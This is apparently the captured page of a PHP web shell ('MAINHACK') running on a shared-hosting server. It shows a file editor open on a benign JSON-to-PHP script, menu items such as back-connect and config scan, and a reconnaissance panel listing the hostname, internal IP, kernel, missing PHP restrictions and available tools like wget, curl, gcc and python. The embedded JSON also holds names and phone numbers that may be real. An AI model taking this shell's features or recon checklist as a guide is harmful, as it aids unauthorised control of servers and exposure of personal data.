[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: convertjson2php.php
<?php // JSON string $someJSON = '{ "request_id": "b115d54b-c044-4387-a629-4df0a3c0af18", "reference_id": "9357d296-c366-4409-872d-2e0898f27f81", "pickup_details": [ { "reference_id": "pick_ref_1", "special_instructions": "fragile items, handle with great care", "address": { "apartment_address": "Block A", "street_address_1": "Indraprasth Apartment", "street_address_2": "Kaikhali", "landmark": "Opposite O2 Hotel", "city": "Bangalore", "state": "Karnataka", "pincode": "560029", "country": "India", "lng": 77.611848, "lat": 12.925561, "contact_details": { "name": "Rahul", "phone_number": "7980785847" } }, "otp_required": true } ], "drop_details": [ { "reference_id": "drop_ref_1", "special_instructions": "leave at door step and ring the bell", "address": { "apartment_address": "Rc-1/2 Raghunathpur", "street_address_1": "Teghoria", "street_address_2": "Debolina Aprt", "landmark": "Vip Road", "city": "Bangalore", "state": "Karnataka", "pincode": "560029", "lat": 12.934459, "lng": 77.611247, "country": "India", "contact_details": { "name": "Priyanka", "phone_number": "9874615676" } }, "otp_required": true, "payment_data": { "payment_method": "COD", "amount": 50 } } ], "payment_method": "DUNZO_CREDIT", "delivery_type": "SCHEDULED", "schedule_time": 1660315141 }'; // Convert JSON string to Array $someArray = json_decode($someJSON, true); print_r($someArray); // Dump all data of the Array echo $someArray[0]["name"]; // Access Array data // Convert JSON string to Object $someObject = json_decode($someJSON); print_r($someObject); // Dump all data of the Object echo $someObject[0]->name; // Access Object data ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.58 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619